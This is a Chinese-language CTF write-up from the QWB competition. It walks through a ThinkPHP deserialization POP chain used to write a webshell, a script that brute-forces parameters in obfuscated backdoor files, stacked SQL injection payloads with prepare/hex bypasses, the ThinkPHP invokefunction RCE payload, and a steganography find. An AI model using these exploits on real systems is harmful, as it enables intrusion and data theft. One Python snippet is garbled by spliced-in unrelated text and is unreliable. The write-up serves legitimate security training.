QWB 3th Partial Writeup

Web

upload

首先进行信息搜集dirsearch探测发现存在robots.txt/upload/www.tar.gz,下载源代码进行审计。

网站主要包含注册、登录、上传图片三个功能点,/upload/目录可查看已上传图片。

Cookie中user字段经过URL和Base64解码后发现如下序列化内容:

a:5:{s:2:"ID";i:3;s:8:"username";s:3:"3nd";s:5:"email";s:11:"[email protected]";s:8:"password";s:32:"9ee7098eadd66450d552896a0685ea09";s:3:"img";N;}

上传图片后Cookie user字段解码如下:

a:5:{s:2:"ID";i:3;s:8:"username";s:3:"3nd";s:5:"email";s:11:"[email protected]";s:8:"password";s:32:"9ee7098eadd66450d552896a0685ea09";s:3:"img";s:79:"../upload/0411907e87757c2a5825a731923b7f93/5dce9218e9bcd30e209e6a6685489808.png";}

至此猜测可能存在反序列化的利用点,下面对源代码进行审计。

定位到\application\web\controller\中以下文件:

Index.php
Profile.php
Register.php

Profile.php中的敏感函数upload_img()如下:

public function upload_img(){
    if($this->checker){
        if(!$this->checker->login_check()){
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
            $this->redirect($curr_url,302);
            exit();
        }
    }
    if(!empty($_FILES)){
        $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
        $this->filename=md5($_FILES['upload_file']['name']).".png";
        $this->ext_check();
    }
    
    if($this->ext) {
        if(getimgize($this->filename_tmp)) {
            @copy($this->filename_tmp, $this->filename);
            @unlink($this->filename_tmp);
            $this->img="../upload/$this->upload_menu/$this->filename";
            $this->update_img();
        }else{
            $this->error('Forbidden type!', url('../index'));
        }
    }else{
        $this->error('Unknow file type!', url('../index'));
    }
}

观察到其中文件存储的操作没有进行过滤,在$this->filename可控的情况下可生成脚本文件。

if(getimgize($this->filename_tmp)) {
    @copy($this->filename_tmp, $this->filename);
    @unlink($this->filename_tmp);
    $this->img="../upload/$this->upload_menu/$this->filename";
    $this->update_img();
}

跟进$this->filename_tmp$this_filename

if(!empty($_FILES)){
    $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
    $this->filename=md5($_FILES['upload_file']['name']).".png";
    $this->ext_check();
}

这里对$this->filename进行了后缀.png的拼接。未进行文件上传时$_FILES为Null,!empty($_FILES)为flase,则不进入if中的代码段。

if($this->checker){
    if(!$this->checker->login_check()){
        $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
        $this->redirect($curr_url,302);
        exit();
    }
}

这里可以通过赋值$this->checker以控制类中的属性值来bypass if中的代码段。

至此我们可以通过控制Profile类中的checker、filename_tmp、filename等属性,在触发upload_img()函数时即可成功构造任意脚本文件,下面构造攻击链。

Profile类中存在魔术方法__get()__call(),在对象上下文中调用不可访问属性时自动触发__get(),在对象上下文中调用不可访问的方法时自动触发__call()

public function __get($name) {
    return $this->except[$name];
}
public function __call($name, $arguments) {
    if($this->{$name}){
        $this->{$this->{$name\}\}($arguments);
    }
}

Index类中看到反序列化点:

public function login_check(){
    $profile=cookie('user');
    if(!empty($profile)){
        $this->profile=unserialize(base64_decode($profile));
        $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
        if(array_diff($this->profile_db,$this->profile)==null){
            return 1;
        }else{
            return 0;
        }
    }
}

Index类中的index()调用了login_check(),login_check()进行unserialize(base64_decode(cookie('user')))触发反序列化,Cookie user字段可控,这里作为反序列化的触发点。

Register类中关键部分如下:

class Register extends Controller {
    public $checker;
    public $registed;

    public function __construct() {
        $this->checker=new Index();
    }

    public function __destruct() {
        if(!$this->registed){
            $this->checker->index();
        }
    }
}

其中$this->checker->index()调用了Index类中的index()方法,这里如果覆盖__construct()中的Index()为Profile(),那么在尝试调用Profile中的index()方法时将触发Profile中的__call()魔术方法:

public function __call($name, $arguments)
{
    if($this->{$name}){
        $this->{$this->{$name\}\}($arguments);
    }
}

进入__call()中尝试访问this->{$name}Profile->index,这是进一步触发Profile中的__get()魔术方法:

public function __get($name) {
    return $this->except[$name];
}

从而返回$this->except[$name]Profile->except['index']的值,那么如果我们在构造序列化内容时赋值except['index']upload_img,当Register对象销毁时触发__destruct()时,即可成功触发upload_img()函数中的关键操作进行文件的复制和改名。

POP链如下:

Register->__destruct()
Profile->__call()
Profile->__get()
Profile->upload_img()

exp如下:

<?php
namespace app\web\controller;
class Profile {
    public $checker = 0;
    public $filename_tmp = "../public/upload/15fabb2a30e293533a1bcaf3f5e2743f/00bf23e130fa1e525e332ff03dae345d.png";
    public $filename = "../public/upload/15fabb2a30e293533a1bcaf3f5e2743f/3nd.php";
    public $upload_menu;
    public $ext = 1;
    public $img;
    public $except = array('index'=>'upload_img');

}
class Register {
    public $checker;
    public $registed = 0;
}
$x = new Register();
$x->checker = new Profile();
echo base64_encode(serialize($x));

攻击流程流程:上传含恶意代码的图片文件->复制图片地址,根据exp生成序列化数据->访问首页替换Cookie中的user字段触发函数生成3nd.php->访问3nd.php,getshell执行命令获取flag。

高明的黑客

雁过留声,人过留名,此网站已被黑

我也是很佩服你们公司的开发,特地备份了网站源码到www.tar.gz以供大家观赏

下载源代码解压得到3002个混淆后的php文件,每个文件中包含多个参数和system()/eval()函数。

system($_GET['cg6BNgitU'] ?? ' ');
eval($_GET['ganVMUq3d'] ?? ' ');

猜测某个文件中可能存在命令执行的利用点,本地进行爆破尝试。

import re
import os
import requests

main_url = "http://127.0.0.1/hack/"
rg = re.compile(r'\$_GET\[\'(.*?)\'\]')
rp = re.compile(r'\$_POST\[\'(.*?)\'\]')
files = os.listdir("./hack/") #xk0SzyKwfzw.php

for file in files:
    print("[*]Detecting: " + file)
    url = main_url + file
    fn = "./hack/" + file
    with open(fn) as f:
        data = f.read()
        params_get = rg.findall(data)
        params_post = rp.findall(data)
    # $_GET
    query = "=echo success;&".join(params_get)
    r = requests.get(url + '?' + query)
    if "success" in r.text:
        print("[+]Found: " + file)
        print("[*]Detecting the Parameter...")
        for param in params_get:
            r = requests.get(url + '?' + param + '=echo success;')
            if "success" in r.text:
                print('[+]Parameter: ' + param)
                exit()
    # $_POST
    dict = {}
    for param in params_post:
        dict[param] = "echo success;"
    r = requests.post(url, data=dict)
    if "success" in r.text:
        for key in dict.keys():
            r = requests.post(url, {published: true
hideInList: false
feature: 
isTop: false[key],})
            if "success" in r.text:
                print('[+]Parameter: ' + key)
                exit()

执行结果:

...
[*]Detecting: xk0SzyKwfzw.php
[+]Found: xk0SzyKwfzw.php
[+]Type: $_GET
[*]Detecting the Parameter...
[+]Parameter: Efa5BVG
[Done] exited with code=0 in 872.331 seconds

xk0SzyKwfzw.php?Efa5BVG=cat+/flag;即可获取flag。

随便注

取材于某次真实环境渗透,只说一句话:开发和安全缺一不可

<html>
<head>
    <meta charset="UTF-8">
    <title>easy_sql</title>
</head>
<body>
    <h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
    <!-- sqlmap是没有灵魂的 -->
    <form method="get">
        姿势: <input type="text" name="inject" value="1">
        <input type="submit">
    </form>
</body>
</html>

测试时回显:

return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);

由过滤了update|delete|drop|insert猜测可能存在堆叠注入,测试inject=1;show tables;--+

array(1) {
[0]=>
array(2) {
["id"]=>
string(1) "1"
["data"]=>
string(12) "Only red tea"
}
}
array(2) {
[0]=>
array(1) {
["Tables_in_supersqli"]=>
string(16) "1919810931114514"
}
[1]=>
array(1) {
["Tables_in_supersqli"]=>
string(5) "words"
}
}

尝试查询创建表(1919810931114514)的语句,得到表结构:

# ?inject=1';show create table `1919810931114514`;--+
array(1) {
[0]=>
array(2) {
["Table"]=>
string(16) "1919810931114514"
["Create Table"]=>
string(87) "CREATE TABLE `1919810931114514` (
`flag` text
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4"
}
}

alter table

无法直接查询flag,可以考虑通过修改表结构和表名从而使页面来查询回显flag。

# 给 1919810931114514 增加 id 字段 后更名为 words
alter table `1919810931114514` add(id int default 1);
alter table words rename xxx;
alter table `1919810931114514` rename words;#

查询inject=1得到:

array(1) {
[0]=>
array(2) {
["flag"]=>
string(38) "flag{e06218d29a616199aa97f369d0404622}"
["id"]=>
string(1) "1"
}
}

handler read first

sixstars:

?inject=1'; do sleep(5);-- 
?inject=1'; show tables;-- 
?inject=1; handler `1919810931114514` open as hh; handler hh read first;-- 

set prepare

FlappyPig: 过滤了union select,没办法跨表,但是可以堆叠查询,那么猜测是⽤mysqli_multi_query()函数进⾏
sql语句查询的,也就可以使⽤ 预处理:

set @sql = concat('create table ',newT,' like ',old); prepare s1 from @sql; execute s1; 

最后由于表名是数字表名所以要加上反引号```, Payload:

1';set%[email protected]=concat(CHAR(115),CHAR(101),CHAR(108),CHAR(101),CHAR(99),CHAR(116), CHAR(32),CHAR(102),CHAR(108),CHAR(97),CHAR(103),CHAR(32),CHAR(102),CHAR(114),C HAR(111),CHAR(109),CHAR(32),CHAR(96),CHAR(49),CHAR(57),CHAR(49),CHAR(57),CHAR( 56),CHAR(49),CHAR(48),CHAR(57),CHAR(51),CHAR(49),CHAR(49),CHAR(49),CHAR(52),CH AR(53),CHAR(49),CHAR(52),CHAR(96),CHAR(59));PREPARE%0as2%0aFROM%[email protected];EXECUTE%0 as2;--+

预处理 + hex

网站是用 pdo 连的数据库,因此允许多语句执行,可以用 SET PREPARE 绕过 strstr 和 preg_match 的检查,Payload 如下:

eee:

// enhex('select flag from supersqli.1919810931114514')
1';SET @a:=0x73656c65637420666c61672066726f6d20737570657273716c692;prepare s from @a; execute s;# 

强网先锋-上单

Index of /1
[ICO]   Name            Last modified      Size	   Description
----------------------------------------------------------------
[PARENTDIR]	Parent Directory 	 
[TXT]   LICENSE.txt     2019-04-03 15:08   1.8K	 
[   ]   README.md       2019-04-03 15:08   5.6K	 
[   ]   build.php       2019-04-03 15:08   1.1K	 
[   ]   composer.json   2019-04-03 15:08   942	 
[   ]   composer.lock   2019-04-03 15:08   18K	 
[DIR]   extend/         2019-04-02 20:58    -	 
[DIR]   public/         2019-04-03 15:08    -	 
[DIR]   runtime/        2019-04-02 20:58    -	 
[   ]   think           2019-04-03 15:08   753	 
[DIR]   vendor/         2019-04-02 20:58    -	 
Apache/2.4.18 (Ubuntu) Server at 117.78.28.89 Port 30910

通用payload:

index.php
?s=index/\think\app/invokefunction
&function=call_user_func_array
&vars[0]=system
&vars[1][]=cat+/flag //flag{573bebb4fa5f7da686b91e218bd58256} 

另外在/1/runtime/log/201903/12.log中发现payload如下,可以直接使用。

[ 2019-03-12T23:18:49+08:00 ] 223.104.19.11 GET 39.105.136.196:8000/ \
    ?s=index/\think\app/invokefunction\
	&function=call_user_func_array \
	&vars[0]=phpinfo&vars[1][]=1
[ error ] [0]variable type error: boolean

Misc

强网先锋-打野

zsteg是俄罗斯黑客开发的一款开源工具,专用于检测 PNG 与 BMP 格式图片中的隐写信息,用 Ruby 语言开发,gem install zsteg即可安装使用。

zsteg可用于探测:

$ zsteg 01.bmp
[?] 2 bytes of extra data after image end (IEND), offset = 0x269b0e
extradata:0         .. ["\x00" repeated 2 times]
imagedata           .. text: ["\r" repeated 18 times]
b1,lsb,bY           .. <wbStego size=120, ext="\x00\x8E\xEE",
                       data="\x1Ef\xDE\x9E\xF6\xAE\xFA\xCE\x86\x9E"..., even=false>
b1,msb,bY           .. text: "qwxf{you_say_chick_beautiful?}"
b2,msb,bY           .. text: "i2,C8&k0."
b2,r,lsb,xY         .. text: "UUUUUU9VUUUUUUUUUUUUUUUUUUUUUU"
b2,g,msb,xY         .. text: ["U" repeated 22 times]
b2,b,lsb,xY         .. text: ["U" repeated 10 times]
b3,g,msb,xY         .. text: "V9XDR\\[email protected]"
b4,r,lsb,xY         .. file: TIM image, Pixel at (4353,4112) Size=12850x8754
b4,g,lsb,xY         .. text: "3\"\"\"\"\"3###33##3#UDUEEEEEDDUETEDEDDUEEDTEEEUT#!"
b4,g,msb,xY         .. text: "\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\
                             "DDDDDDDDDDDD\"\"\"\"DDDDDDDDDDDD*LD"
b4,b,lsb,xY         .. text: "gfffffvwgwfgwwfw"
                    ..

即可获取到flag: qwxf{you_say_chick_beautiful?}